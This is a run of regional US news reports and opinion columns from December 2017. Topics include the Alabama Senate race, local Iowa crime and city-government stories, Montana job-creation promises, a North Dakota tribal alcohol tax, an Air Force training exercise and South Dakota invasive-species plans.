Trump managed to lose twice in a deep-red state he won by 28 points just a year ago. He supported Roy Moore's opponent, Luther Strange, in the primary, only to suffer a humiliating defeat. And then -- prodded by his political "wizard," Steve Bannon -- Trump reversed himself and went all-in for Moore leading up to last week's general-election vote. Moore lost.

It is possible to read too much into Jones' victory. He won by fewer than 21,000 votes out of more than 1.3 million cast.

But let's not read too little into the vote, either. Alabama is such a solidly Republican state that in 2014 Democrats didn't even bother to field an opponent against incumbent Jeff Sessions, whose resignation to become attorney general triggered Tuesday's special election.

Moore was the perfect Trumpist-Bannonist candidate: a populist renegade who perfectly fit the description "all hat and no cattle." He was once removed and once suspended as the elected chief justice of the Alabama Supreme Court for insisting that his religious beliefs outweighed the Constitution.

He expressed disdain for amendments that abolished slavery and allowed African-Americans and women to vote. And he had a keen instinct for theatrics, adopting the habit of showing up to vote on Election Day on horseback.

Responding to multiple accusations of sexual misconduct, Moore took a page from Trump's playbook, finally settling on the story that the women -- none of whom had anything to gain from coming forward -- were all lying. Like Trump, he painted himself as the victim of a dastardly plot by nefarious elites.

Bannon supported him early, cowed the state party establishment into going along, and reportedly convinced Trump to climb aboard the bandwagon because Moore would surely win.

It is the sweetest of ironies that Jones, when he was U.S. attorney for the northern district of Alabama, successfully prosecuted two aging Ku Klux Klan members for their roles in one of the worst atrocities of the civil rights era -- the 1963 bombing of Birmingham's 16th Street Baptist Church, in which four young African-American girls, attending Sunday school, were killed.

How wonderful it is that a man who struck such an important blow for racial justice defeated a charlatan who has expressed nostalgia for the olden days before the Civil War.

What should worry Trumpists, Bannonites and the quisling Republicans who go with the flow is that Alabama cannot be seen in a vacuum. A trend is brewing.

Last month in Virginia, a purple state, Democrat Ralph Northam won the governor's race by the biggest margin for a Democrat since 1985. Republican opponent, Ed Gillespie, had run ads appealing to white racial animus against immigrants and minorities. Democrats not only sent Gillespie packing but virtually erased the GOP's once-unassailable majority in the lower house of the state legislature.

In both Virginia and Alabama, Democratic voter turnout was huge, while Republican turnout was middling. The enthusiasm gap between the parties was more of a chasm. A year ago, Democrats spoke of the 2018 midterm as an opportunity to make gains in the House and keep from losing seats in the Senate. Now, after Alabama, even cautious analysts have to consider the possibility of a wave election that gives Democrats control of one or both chambers.

Don't get me wrong, Trumpism-Bannonism does have a following. It's just that Americanism has a bigger one.
The student loan debt plan is on hold, again, and no one knows when (or if) it's coming. What could this mean for you?

Host Teri Barr is talking with Cecilia Clark, a Student Loans Expert with Nerd Wallet, to learn why this newest hold on the program, could take awhile, the 3 things you need to know about and prepare for right now, including making your loan payments again in the New Year.

The latest from Cecilia at NerdWallet:

More episodes on debt:

Support the show: https://omny.fm/shows/pennywise

See omnystudio.com/listener for privacy information.
Two more people have been arrested in connection with what police say was a four-month conspiracy to defraud the grandparent of a prison inmate out of more than $35,000.

Gavin Nathaniel Epping, 18, of 2709 Greenway Drive, Bettendorf, and Faith Nicole McLaughlin, 22, of 1557 W. 14th St., Davenport, face charges of ongoing criminal conduct, first-degree theft, and conspiracy to commit a non-forcible felony.

Bond was set Monday at $40,000 cash or surety for McLaughlin. She waived her right to a preliminary hearing and will be arraigned Dec. 28.

Bond was set at $25,000 cash-only on Monday for Epping. He has a preliminary hearing Dec. 29.

Both remained in the Scott County Jail on Tuesday morning.

On June 27, Davenport police received a report of fraud.

According to arrest affidavits filed in the case, from Feb. 14 through June 23, Epping, McLaughlin and at least two others falsely represented themselves as employees of a law firm representing a current Iowa Department of Corrections inmate.

They told the inmates grandparent that the money was needed for attorneys fees and for the inmates medical needs that required payment, according to the affidavits.

During the four months of the scam, the conspirators received 20 checks totaling $35,875.87 from the inmates grandparent, according to affidavits.

Two others, Miranda Faye Patterson, 19, and Audrey Elaine Slyter, 30, both of Davenport, also face charges in connection with the case.

Patterson posted $10,000 through a bail bond company and was released from the jail on Dec. 13. She will be back in court Friday for a preliminary hearing.

Slyter posted $25,000 through a bail bond company and also was released on Dec. 13. She will be arraigned Dec. 28.

Ongoing criminal activity is a Class B felony under Iowa law that carries a prison sentence of up to 25 years.

First-degree theft is a Class C felony that carries a maximum 10-year prison sentence, while the conspiracy charge is a Class D felony that carries a maximum five-year prison sentence.
For most Iowa cities with populations of more than 10,000 people, the power to appoint police and fire chiefs lies with city administrators.

The city of Bettendorf may join those ranks soon. At Monday's committee-of-the-whole meeting, the City Council moved to the consent agenda the first reading of an ordinance granting those powers.

City Attorney Chris Curran said under the current code, the mayor has the ability to appoint and remove both public safety chiefs with a two-thirds vote of the City Council, yet both positions report to the city administrator.

"The proposed ordinance is intended to avoid this dual reporting structure where appointment and removal powers are by one party and daily reporting are by another," Curran said.

Removal of a police or fire chief would still require consent from two-thirds of the Council.

The City Council discussed making these changes four weeks ago, but some members of the Council were not ready to sign off on it.

Alderwoman Debe LaMar, 3rd Ward, was one of those naysayers at first. But after reconsideration, she voted in favor of the change because the City Council would still have a say in the removal of chiefs.

"I was against this at first," LaMar said. "My thoughts were if it's not broken, don't fix it. But after hearing and seeing the rationale behind this, it promotes continuity in reporting."

While LaMar had a change of opinion, 5th Ward Alderman Scott Webster still had concerns, citing personnel issues from nearby cities in his remarks.

"Davenport's had its fair share of problems with this," Webster said. "We're seeing it now. We're seeing the problems that happened in Muscatine and the way that stuff went down.

Webster said his biggest concern was preventing a chief from coming forward with needs for public safety because of a fear of being muted or retaliated against.

"I just see we're setting ourselves up to have a problem when we already don't have one," Webster said.

Should the Council pass the three readings of the ordinance, City Administrator Decker Ploehn will have the opportunity to exercise the power soon  Police Chief Phil Redington plans to retire at the end of May.

On Tuesday, the Council also will vote on a proposal to limit candidates to current Bettendorf police staff.

Human Resources Director Kathleen Richlen said the department invests in current employees and felt a successor could be found based on the training, experience and capabilities of current staff.
Lawyers from the city of Davenport continue to fight the reinstatement of former Fire Chief Lynn Washburn.

Attorneys filed court documents Monday in support of the city's argument that Scott County District Court should hear its appeal.

The city is challenging the Nov. 8 Civil Service Commission order reinstating Washburn as a district chief. The fire chief was terminated July 27 by City Administrator Corri Spiegel, but the Civil Service Commission determined she had a right to remain in the department subject to Iowa Code Chapter 400.13.

The city appealed the commission's order. Washburn's lawyer, Mike Carroll, filed a motion to dismiss the appeal, which led the Davenport law firm of Lane and Waterman to file a resistance to that motion as well as a separate petition outlining the merits of its case.

"The Commission lacked jurisdiction, and its decision was based on erroneous interpretation of the law and it is therefore illegal, unreasonable, arbitrary, capricious and an abuse of discretion," the city's petition states.

In the motion to dismiss, Carroll made three arguments against the city's case:

The Civil Service Commission was not named as the defendant or appellee

There was no official record from the commission's appeal hearing

The city did not initiate the appeal through the proper rules of civil procedure

The city's attorneys have asked the court to deny that motion in its entirety. In its resistance document filed Monday, it states there is sufficient record for the court to conduct the appeal; the commission does not need to be named; and its notice of appeal was sufficient to initiate an appeal to district court.

In not naming the commission, the city's attorneys cited the case of Cooksey v. Cargill Meat Solutions Corp. as precedent to show it was not a fatal error.

In that case, the Employment Appeal Board was not named in the appeal after Jeremie Cooksey was discharged by his employer based on misconduct and determined to not be entitled to benefits.

While the district court and Court of Appeals dismissed the Cooksey case based upon the naming issue, the Iowa Supreme Court reversed those decisions.

The city also alleges that the existence of an audio recording, minutes from the hearing and the commission's order constitute a record for the court to review.

A court reporter was not present at the Nov. 8 commission hearing.

In the changes to Civil Service laws in February, appeals were changed from a trial de novo, or when the appeals court conducts a trial as if a prior trial had never been held, to a de novo appellate review.

Under an appellate review, the court does not accept additional evidence and uses the record from the commission's hearing to make its ruling.

As for the merits of the appeal, the city's position is that the commission erred not only in its judgment but also in finding that it had the authority to hear the case.

The petition stated that in order for a hearing to take place before the commission, Washburn would have needed civil service status.

Washburn came to the department from the Rockford (Illinois) Fire Department, where she retired in order to accept Davenport's top position.

While Iowa Code Chapter 400.13 allows for a dismissed police or fire chief to return to a position commensurate with his or her civil service status, the question surrounding this case was if Washburn ever acquired such status in Iowa.

Under Iowa Code Chapter 400.17, "no person shall be appointed or employed in any capacity in the fire department governed by civil service until that person has passed a civil service examination and has been certified to the city council as being eligible for the appointment."

"Washburn never took the firefighter entrance examination at the City of Davenport and was never placed on the City's civil service firefighter eligibility list," the petition states.
A good Tuesday to all. We'll enjoy another day in the 50s then Q-C temps will take a nosedive by this weekend.

1. Unseasonably warm in the Q-C

Today will be mostly sunny with a high near 50 degrees and a low around 25 degrees.

It will be mostly sunny Wednesday with a high near 39 degrees and a low around 28 degrees.

Thursday and Friday bring a chance of rain, sleet and freezing rain. Stay tuned.

2. Community comes together to renovate historic school

And then there was light. One of many steps in the ongoing restoration of the historic, one-room Forest Grove School in Bettendorf has been the installation this year of electrical service to the building.

People visiting the school when it eventually opens as a museum/interpretive center won't see any outlets or fixtures, though. The school that was built in 1873 and closed in 1957 is being restored to how it looked in 1923, and there was no electricity then.

But to have the option of using the building at night, members of Forest Grove School Preservation paid for electricity. Light will emanate from LED strips strategically placed above windows, doorways and chalkboards so that the strips don't show, Sharon Andresen, project coordinator, said. Read more.

3. Father-son brew up new Hilltop book store in Davenport

With a few boxes to unpack and more bookcases to fill, Troy and Trevor Fuhs were not deterred from holding a soft opening Monday of their new Brewed Books. For the father and son duo, the combination coffee shop/used book store has been in a work in progress for nearly two years since they purchased the vacant building at 1524 Harrison St. in Davenport's Hilltop Campus Village.

Last home to the bar Big Daddy's, the building required two new exterior walls, including the whole front, as well as the replacement of about one-third of the floor joists and an all-new floor.

Brewed Books will stock about 30,000 used books initially, but has a back room the size of the store to grow into. With a few selections of coffee, espressos and smoothies, he added "We're not going to be a gourmet coffee place." Read more.

4. Davenport's lawyers continue to fight ex-fire chief's appeal

Lawyers from the city of Davenport continue to fight the reinstatement of former Fire Chief Lynn Washburn. Attorneys filed court documents Monday in support of the city's argument that Scott County District Court should hear its appeal.

The city is challenging the Nov. 8 Civil Service Commission order reinstating Washburn as a district chief. The fire chief was terminated July 27 by City Administrator Corri Spiegel, but the Civil Service Commission determined she had a right to remain in the department subject to Iowa Code Chapter 400.13. Read more.

5. Photos: Work on pier 16 of the Interstate 74 bridge project

Check out these images of what is happening this week to the new I-74 bridge across the Mississippi River. Work is progressing, really.

6. Mugshots from the Scott County Jail

See the latest booking mugshots from the Scott County Jail.
ROCK FALLS, Ill. - A wanted man who allegedly threatened other people is being held in Whiteside County Jail after the Whiteside County SWAT Team arrested him.

Here's what happened, according to the Whiteside County Sheriff's Office:

At 9:20 p.m. Sunday, Whiteside County deputies were dispatched to 1600 Riverdale Road, Lot 79, Rock Falls, in reference to a male subject who threatened to shoot people at the residence.

When the first deputy arrived on the scene, he observed a man he recognized as Richard Rippy, who walked out of the front door of the mobile home. The deputy ordered Rippy to stop, but Rippy fled back inside. Whiteside County sheriffs deputies, Rock Falls police, Sterling police and Illinois State police set up a perimeter.

Because Rippy possibly had firearms and because of previous threats, the Whiteside County SWAT Team was activated. Within about an hour, the team arrived on the scene and the owner of the mobile home granted law enforcement permission to enter it.

At 10:45 p.m., the team entered the trailer and found Rippy hiding in a bedroom closet. He was arrested and taken to Whiteside County Jail on a Whiteside County warrant for failure to appear on driving while revoked, two Lee County warrants for failure to appear on a petition to revoke probation and a contempt warrant.

Lt. John Booker, commander of the SWAT team, said no one was injured during the incident.

Rock Falls and Sterling police, Illinois State Police, CGH Ambulance and Rock Falls Fire Department assisted.
So much for advice and consent.

That bit of constitutional lingo was tossed around ad nauseam 18 months ago, especially by U.S. Sen. Chuck Grassley, R-Iowa. At the time, Grassley, chairman of the Senate Judiciary Committee, was blocking President Barack Obama's pick for a vacant seat on the U.S. Supreme Court, Merrick Garland. Garland's credentials were beyond reproach. His previous confirmation to the Court of Appeals was approved with sweeping bipartisan support.

But Garland batted for the other team. So Grassley twisted to make excuses, citing decade-old pseudo-precedent.

How things have changed.

That past two weeks have been nothing short of an utter embarrassment for Grassley. Over that time, Grassley has had to demand the reconsideration of one judicial nominee already approved by his committee. And, on Friday, another of Trump's picks for a lifetime appointment to the federal bench knew less about law than a second-year law school student.

The Senate's gatekeeper for judicial appointments has weaponized Senate Judiciary, ramming through President Donald Trump's picks at lightning speed. Last month, he scuttled the blue slip, one of those weird Senate courtesies that permitted home-state senators to hold up a nomination.

Grassley's interest is speed. His goal  and that of the GOP  is stocking U.S. courts with conservative judges. This past week, the national GOP touted the number of Trump nominees confirmed in Trump's first year in office, more than any other administration in 50 years.

Suddenly the American Bar Association, which has long rated presidential appointments, is considered a liberal think tank for pointing out the rampant inexperience among Trump's nominees. Several had never before heard or tried a case.

None of this is a surprise. The Trump administration doesn't have the usual complement of career bureaucrats and legal specialists. It's a hodgepodge of political agents and military generals. It reflects the president's contempt for expertise and outsized confidence in its abilities. And it's more than willing to put forward nominees, without proper vetting, simply because their names appear on lists drafted by right-wing groups, such as the Federalist Society.

So, it comes down to the venerable Senate Judiciary to be something more than a rubber stamp.

At least one Republican member, Sen. John Neely Kennedy, of Louisiana, has done his job on of late. On Friday, Kennedy confounded would-be District Court Judge Matthew Petersen by asking exceedingly simple questions about judicial process. Petersen wasn't able to articulate even a basic understanding of how a court functions. For minute after agonizing minute, Petersen stammered and stuttered as Kennedy peppered him with questions from Law 101. Petersen's complete lack of any grasp of basic legal terminology exposed him as nothing but yet another unfit nominee put up solely for political purposes.

If not for Kennedy, Petersen would have slipped through with nary a second look from Judiciary, just like all the others.

The week prior, Grassley doubled-back on the nomination of Brett Talley, a Trump nominee for a federal judgeship in Alabama. Talley's nomination moved through the Judiciary Committee on a party line vote, even though ABA rated him "not qualified." Only after it was reported that Talley's wife was a senior White House attorney did Grassley demand that the Trump administration pull the nomination.

To be fair, Grassley insisted on the same action for Jeff Mateer, a nominee for district court in Texas, who had yet to move through Judiciary. Mateer's life as a right-wing blogger caught up with him. In one post from 2015, he called transgender children part of "Satan's plan."

But the fact that the likes of Talley breezed through the Judiciary Committee after ABA waved red flags shows that Grassley's Judiciary Committee is ultimately concerned with stocking the courts with young, conservative judges. And, to that end, Republicans on the Judiciary Committee are too often willing to ignore every warning from the legal establishment.

After the embarrassments of the past two weeks, perhaps Grassley will slow down, look beyond politics and give Trump's judicial nominees the vetting they deserve.
A president with no concern for veracity or consistency has assured us he is not considering the firing of Special Counsel Robert Mueller. This does not make the prospect even marginally less remote. And it has done little to inhibit the attempt by some conservatives to discredit the investigation.

On a move against Mueller and his office, the wind is thick with straws. Rep. Bob Goodlatte, chair of the House Judiciary Committee, warns: "We do not know the magnitude of insider bias on Mr. Mueller's team." Senator John Cornyn urges Mueller "to clean house of partisans" and wonders if the Special Counsel's final report will be legitimate. The Murdoch press -- both Fox and the once-respectable Wall Street Journal -- continues to trash the reputation of Mueller and his associates.

At one level, this is "whataboutism" run amok. What about Bill and Hillary Clinton? Didn't they ruthlessly discredit Ken Starr and his investigation? Why should Republicans hobble themselves with scruples?

But here is a difference. Clinton and his defenders were accusing an investigator of being a power-mad prig. Some of Trump's defenders are claiming, in effect, that the FBI is engaged in a "coup d'etat" (the words of Florida Republican Rep. Matt Gaetz) -- a politically motivated attempt to reverse the results of the 2016 election. Their evidence? That some senior investigators donated to Democrats, supported Hillary Clinton and called Trump an "idiot."

If that last charge were considered a disqualification, we would have the political equivalent of the Rapture (including, apparently, some of the Cabinet). But the larger point is this: Trump Republicans are willing to smear a man of genuine integrity, and undermine confidence in federal law enforcement, for reasons they must know are thin to the point of transparency. This is beyond cynicism. It is institutional arson. This is the profoundly anti-conservative strategy of Trump supporters against any institution (the courts, the media, law enforcement) that exposes the administration's deception and corruption: Burn, baby, burn.

Because Mueller is inexorable, the desperation in Trump world is palpable. We know that senior officials in the Trump campaign (BEG ITAL)wanted(END ITAL) to collude with the Russians in order to influence the election. (Donald Trump Jr. has admitted meeting with a Russian lawyer in June of 2016 to get damaging information on Hillary Clinton.) We know that Russian intelligence had the means to influence the election, hacked from a variety of sources. We know that Trump officials tried to conceal their contacts with the Russians, while seeking policy changes favorable to Russian interests. We know (on the credible testimony of a former FBI director) that President Trump tried to shut the investigation of these matters down. And it is a good bet that Mueller knows far more about all of this than we do.

As the investigation seems to be closing in on members of the Trump family, the president has a variety of options, all with serious risks. He might be able (it is debated among legal scholars) to fire Mueller directly. But unless he also abolishes the Special Counsel's office, FBI officials would continue to investigate any crimes they have discovered. Other precedent would require Trump first to fire Deputy Attorney General Rod Rosenstein (to whom Mueller reports), then (probably after a cascade of Justice Department resignations) find a stooge willing to fire Mueller. This would be a direct assault on the autonomy and integrity of the FBI, which still has defenders on Capitol Hill.

Or Trump could do a preemptive pardon of individuals being investigated. This would look deeply corrupt -- like an admission of guilt written in neon -- and there are serious legal issues surrounding a presidential self-pardon. This option would put the tolerance of Hill Republicans for executive lawlessness to the test. Is there any limit to their capacity for servility? The frog is in the pot, and it nears a boil.

If Trump takes any of these aggressive actions, it will define his presidency, exaggerate social division and throw America public life into chaos. At that point, he will deserve impeachment, whether he is impeached or not. (That will be determined, not by the degree of the offenses, but by which party controls the House of Representatives.)

Behind all this is a nagging fear. Other presidents would be restrained by the prospect of social division and political chaos. For Trump, these may be incentives. He seems to thrive in bedlam. But the anarchy that sustains him damages the institutions around him -- a cost for which he cares nothing.
BISMARCK, N.D. | Alcohol deliveries have resumed on a Native American reservation in North Dakota after tribal leaders temporarily shelved new rules and higher taxes on booze, state Tax Commissioner Ryan Rauschenberger said Monday.

The move comes after the Three Affiliated Tribes in November established new rules and doubled the tax on alcohol for the 22 non-Native-owned businesses that sell alcohol products on the Fort Berthold Reservation.

Distributors had halted deliveries in protest at the higher tax and rules that would have subjected them to inspection by the tribe.

In a Dec. 5 resolution by the tribe, the tax and new rules were suspended for 60 days, giving the tribal chairman authority to extend them for 60 additional days.

Three Affiliated Tribes Chairman Mark Fox did not immediately return telephone calls on Monday. The tribe has said it needs higher tax rates to pay for road repairs, law enforcement and other consequences of oil development on the reservation.

Rauschenberger said the state learned of the tribes resolution on Friday, and that bar and liquor store owners are now receiving alcohol products again. Business owners had said they refused to remit the new tax or sign documents that give the tribe authority to examine their records or facilities.

"The 60 days was enough time for them to continue their shipments," Rauschenberger said of the booze distributors.

The Three Affiliated Tribes' 7 percent tax on alcohol is in addition to the state's 7 percent tax on alcohol. Tribal-owned establishments such as the Four Bears Casino and other businesses owned by tribal members don't collect or remit the state tax, which is not shared with the tribe.

But tribal businesses must purchase alcohol from a North Dakota distributor under state law.

Rauschenberger said the state collected $325,000 in taxes from alcohol sales on the reservation last year.
OMAHA, Neb. | State officials hope to improve Nebraska's list of missing people and the way it's compiled and updated.

The Nebraska State Patrol hosts the central missing-persons website for the state, the Omaha World-Herald reported. The Nebraska Missing Persons Clearinghouse was created in 2005.

"It's a single place the public can go and get information about all missing persons in Nebraska and receive information with credibility," said Sgt. Richard Aldag.

Two civilian patrol workers manually enter missing-persons information from law enforcement agencies or the national missing-persons database. The patrol entered more than 7,600 reports this year, about 80 percent of which have been for juveniles.

"The problem is volume," said Omaha Police Capt. Michele Bang. "We count on the fact that most of them are going to be found. Which one's going to be the needle in the haystack that's the one that we should be focusing on?"

Officials consider abnormal behavior, family history and risk factors such as age, mental health and circumstances of the disappearance when determining if a missing person may be in danger.

The patrol is looking into automating the list to eliminate discrepancies and immediately update the list, Aldag said. If someone is reported missing over the weekend, the person's name won't be added to the list until Monday.

Automation would allow the state patrol to "turn it down to a matter of hours, from when the report comes in, populated and available for the public," Aldag said.

Officials will meet with developers next month to discuss the switch.

More than 80 law enforcement agencies had reported more than 570 people missing as of Friday. The list contains both newly reported cases and cold cases. An average of 22 people are added to the list daily.
BOZEMAN, Mont. | When Kudos & Co., the Silicon Valley-based tech startup behind a new social media app for kids, announced in September it was opening an office in Bozeman's Cannery District, company officials sang a familiar refrain.

The venture would bring jobs to the area. And plenty of them.

In addition to one full-time and seven part-time employees, the company had plans to hire a "couple hundred" workers over the coming year, CEO and founder Ole Vidar Hestaas said at the time.

Now, however, the company appears to be hedging on those words.

"We can't currently comment on the growth of 100s just yet as we are still in the early phase of the app and will scale moderation as the app scales," wrote Kudos spokeswoman Melissa Hourigan. "(We) are still evaluating the 2018 hiring plan, but our team in Bozeman will grow to support the scaling of the app."

Kudos is just one example in a larger trend of companies touting their ability to create jobs and, in many cases, coming up short, the Bozeman Daily Chronicle reports. It's a trend, too, that has raised questions about the validity of job-centric rhetoric that tends to dominate discussions, both political and public, surrounding the economic health of a place.

In 2016, then-CEO Justin Bigart wrote that his Bozeman-based tech company Wisetail planned to "create more than 100 tech jobs ... with an average salary of $75,000 over the next three years." Halfway through Bigart's timeline, the company has hired 24 employees. Wisetail currently employs 39 workers.

Bigart stepped down from the company earlier this year after Wisetail was acquired by a Texas business, and current CEO Ali Knapp said the 100-job mark is no longer on the table.

"We were happy to open up the jobs we did," said Knapp, adding that hiring is often "dependent on the market, industry growth and bigger economic factors as well."

"There are so many variables that go into it," she said.

Companies like Kudos and Zinovo, a Bozeman tech outfit that projects it will hire between 20 and 30 employees by 2019, still have time to reach their goals. But industry members cautioned that the natural unpredictability of business and wider economic influences make it difficult to predict long-range hiring with any degree of certainty.

Several companies contacted for this article would not disclose employment numbers. Credit rating and software analytics company FICO opened a Bozeman office in 2016 and announced it would be hiring 50 employees over the following 18 months. The company did not respond to multiple requests for comment. Kohl's, which said it would employ 130 people following its 2011 opening, did not answer questions regarding its current workforce.

Then there's Oracle Corp. In 2015, Greg Gianforte  who, at that time, had yet to formally announce his campaign for governor of Montana  headlined the company's 10-year lease on a new 20,000-square-foot building.

Though Gianforte declined to specify a hard and fast number, he noted that the move would likely bring more high-paying jobs to the valley, according to Chronicle reports.

However, less than a year later, Oracle relocated jobs from its Bozeman offices to San Antonio. More than 100 employees were affected by the transition, several sources inside the company said at the time. Oracle declined to comment for this story.

Few companies proved exceptions to the rule. During its ribbon-cutting, Bozeman Health noted it would hire more than 35 workers at its Big Sky Medical Center. The hospital currently employs 52. Local bakery Montana Cookie Co. proposed hiring 42 temporary workers and ended up with 60.

Many businesses across Montana have disclosed their hiring projections as part of the Big Sky Economic Development Trust Fund Program  one of the state's economic development and job-creation mechanisms.

Created back in 2005, the program was funded up front by $20 million from the coal severance tax fund, three-quarters of which funnels to job-creation grants for individual companies, with the rest reserved for planning projects  costs related to preparing for new building or expansion.

On the job creation side, the positions are intended to be well-paid  170 percent of the state minimum wage ($8.30 per hour as of Jan. 1, 2018) or the average weekly wage of the firm's county of operation. Companies are also required to provide a dollar-for-dollar match for the funds.

In order to secure a contract, companies must provide a business plan, financial statements and projections, as well as a hiring plan that includes a timetable. The state typically gives companies up to two years to complete their hiring and only pays out on the grants after the jobs are created (up to $7,500 per position).

Since its inception, 114 companies have taken advantage of the job creation aspect of the program, including 11 in Gallatin County.

But most of these companies have fallen short of their projections. In fact, only one of the Gallatin Valley companies that have taken part in the BSTF program over the past 10 years  Simms Fishing Products  created the number of jobs proposed in their contracts with the state. Statewide, only 23 percent of companies have created the number of jobs they proposed through BSTF, although some of the contracts remain active.

Over the same 10-year period, the state paid out $10.8 million, roughly half what it would have had all the proposed jobs been created.

As with the private announcements, the reasons for these shortcomings run the gamut. EMTEQ, an aviation company that had a contract with the state to create up to 80 jobs, was acquired in 2014 and closed its plant in June of this year without creating a single job. Lolo-based LGT Sustainable Energy Systems, Inc. projected it would add 73 positions through the grant program, but created none. Several companies withdrew from their contracts entirely.

Still, Paul Reichert, executive director for Prospera Business Network, the economic development agency that coordinates many of the BSTF grants for companies in the valley, said the program has been a success, reasoning that companies will have varying reasons they won't meet expectations, but that any new jobs signal a net positive for the community.

However, the fixation on jobs created as the de facto metric might be the wrong way to look at an area's economic vitality, Reichert added.

"I don't love the measure of jobs as the thing people are counting," he said. "It's a tool that everyone has inherited as a way to document how we're making an impact, but it's not always ideal."

In Gallatin County especially, where the unemployment rate currently sits at 2.8 percent  well below state (3.9 percent) and national (4.1 percent) levels  the emphasis should be less on the number of jobs created and more on the wages of those jobs and what sectors they fall under, Reichert said.

"Here we are with clearly full employment," he said, "so is that really the measure that's going to tell us anything?"

For Ray Rasker, executive director at local think tank Headwaters Economics, employment numbers are only part of the equation.

The preoccupation with jobs has perhaps distracted from some of the subtler economic undercurrents taking place in the valley, Rasker said.

Low unemployment, combined with a glut of help-wanted signs, has led to a tight labor market  a situation that typically favors prospective employees who have the pick of the litter when it comes to jobs.

But a job boom like Bozeman's has its fair share of negative effects, too. Companies that raise wages in order to attract employees often also raise the cost of their goods or services in order to balance the books, leading to a general higher cost of living in an area. A prolonged tight labor market, economists note, can potentially result in an economic slowdown as employers, unable to find workers, cut back on growth and staffing.

Rasker said that the valley's economic expansion has happened too quickly for other sectors  namely housing  to keep up, and he reckons this, combined with the area's scenery-as-selling-point, goes a long way toward explaining why wages haven't risen as they should.

"Employers are able to recruit people on the quality-of-life basis, because this is such a great place to live, and therefore offer a smaller wage," Rasker said. "That's predatory behavior."

And while Gallatin County may stand out in terms of the state's economic landscape, the idea of having plenty of jobs, but not enough good-paying ones, is a theme that Rasker says resonates on a much wider scale.

"That's where much of the unrest is in this country," he said. "People see how the unemployment rate has gone down and jobs have gone up, but wages are flat. You hear that a lot, and people are frustrated."

That's why, Rasker said, the focus should be on the standard of the job, both in terms of pay and general satisfaction, rather than on the big, shiny number on which companies so often love to hang their hats.

"It's not just about jobs, it's about the quality of jobs and the wages of the jobs," he said. "Can people afford to live here on the wages that they're paying? That's the question."
ELLSWORTH AIR FORCE BASE | Ellsworth aircrews worked side-by-side with members of the 582nd Helicopter Group and Joint Terminal Attack Controllers from the United Kingdoms Royal Air Force, during a joint-training exercise over the Powder River Training Complex from Dec. 4 to 8.

The exercise provided each unit an opportunity to integrate with Air Force Global Strike Command platforms and improve their strengths and capabilities in the field.

Its important that we train with other units, because it not only proves our abilities, but it shows the other squadrons what their proficiencies are, said Staff Sgt. Travis Akerson, a special missions aviator assigned to the 37th Helicopter Squadron. When we work together, it paints a picture of what we are capable of accomplishing.

The combination of JTACs in the field created a unique opportunity for the units to conduct realistic training. However, while B-1 aircrews have had extensive training with JTACs in the past, it was a rare opportunity for those in the UH-1N Huey.

What we are training on is working with high-speed JTACs, said 1st Lt. Jesse Togawa, the chief of plans and programming assigned to the 37th Helicopter Squadron. As a unit, we are tactically employing our aircraft in the ways that they need us to in a large-scale operation like this one. We dont get many chances to work with JTACs, so this is a great opportunity for us.

During the exercise, JTACs worked with aircrew from both the B-1 bomber and the UH-1N Huey helicopter, providing them with tactical information for targets in the field.

This is the first time we have worked with the B-1s, Togawa said. The training objective in this operation is how to integrate with the other airframes, especially those that are widely different from the rotary-wing aircraft. Its important to see what would happen in a real world situation with multiple entities working together seamlessly in the field.

Although this is the Hueys first time working with the B-1s, the operation was able to provide experience to Ellsworth aircrew for future missions.

This training was done because it gave us an opportunity to practice for our next deployment, said Capt. Julien Adams, a weapon systems officer assigned to the 34th Bomb Squadron. In training like this, its always great to have real JTACs instead of having an instructor role play as one in the field. It gave us more of a real-world feel to the training. Having actual radio communication with a guy on the ground was great.

During the training, the JTAC switched back-and-forth between the different aircraft relaying targets to both of them simultaneously.

My role during the operation was to confirm the JTACs and receive their targets, whether they were pre-planned, or targets of opportunity, Adams explained. From there, we would then coordinate the strike.

He went on to explain the roles the different platforms used. While the B-1 to scanned the area and neutralize larger targets, the Huey provided close air support, utilizing their weapons to better allow them to take on individual targets.

According to the RAF JTACs, every operation is situational. With each scenario, the JTAC could need an entirely different platform to ensure the target is destroyed Something a WSO knows all too well.

Its all task dependent on whats happening on the ground, Adams said. This kind of exercise is definitely a viable training scenario we would like to see continued.

These Agencies expect to work together again in upcoming Joint-trainings.

Being the first time we have worked with the B-1, I have to say that it was extremely successful, Akerson said. We built relations with the B-1s [aircrew], the British forces and special operations forces. We are going to use those relations we built to accomplish these kinds of exercises going into the future.
PIERRE | South Dakota is planning a more aggressive fight against aquatic invasive species next year.

Game, Fish and Parks biologist Mike Greiner told members of the state GF&P Commission on Friday that bigheaded carp and zebra mussels are the priorities.

One member, Mary Anne Boyd of Yankton, praised the presentation but said he should go farther.

I think we need to be aggressive as we can, Boyd said.

She wondered whether boat and bait inspections should be more than voluntary.

Boyd asked Greiner to keep her informed.

Id like to stay on top of this issue, she said.

Commissioner Doug Sharp of Watertown asked what it would take to move from voluntary to mandatory inspections.

State fisheries director John Lott replied the option wasnt available. At the present time that isnt part of the tools we have, Lott said.

Commissioner Gary Jensen of Rapid City asked if there could be consideration of legislation. It seems like one of the challenges has been  engaging and mobilizing other agencies of state government, he said.

Were making a lot of progress, Lott responded.

Lott said Game, Fish and Parks Secretary Kelly Hepler has engaged with other cabinet members so their departments become involved.

A briefing for legislators is planned and the AIS task force is being revised, Lott added.

Jensen said searches about aquatic invasive species hurting native species havent produced conclusive results but theres no question that AIS affects water systems.

There should be plenty of motivation in many parts of government to really engage, Jensen said.

Sharp said he supported Jensens thought that the commission needs to have further discussions with Hepler and Wildlife Division director Tony Leif.

I think its plain to see the commission expects an aggressive stance on AIS, commission chairman Barry Jensen of White River told Greiner. You certainly have the commissions support to get after it.

Greiners plan covered many points, including training for businesses that want to offer GFP-approved boat decontaminations.

The department issued 246 citations and warnings issued this year, he said. Among the proposals for 2018 are:

Updating the local boat registry at the marina on Lewis and Clark reservoir at Yankton so its easier for people to apply;

Assigning 10 interns to boat inspections and decontamination in two-person teams on weekends;

Collecting data electronically using mobile devices, issuing pre-emptive warnings and building a multi-state database;

Offering broader "AIS 101" training to GF&P personnel;

Using a marketing tool known as geo-fencing through mobile devices;

Spreading the message on tailgates, signs and banners and at special events such as the Yankton water festival and the B.A.S.S. fishing tournament at Pierre;

Emphasizing compliance to recreational boaters;

Installing sample panels at many lake sites and processing at Blue Dog state hatchery and Sioux Falls;

Starting a filtration project;

Reaching an agreement with the state Office of School and Public Lands and hiring an aquatic vegetation harvester;

Providing direction to lake associations;

Submitting research proposals such as bigheaded carp barriers to the University of South Dakota;

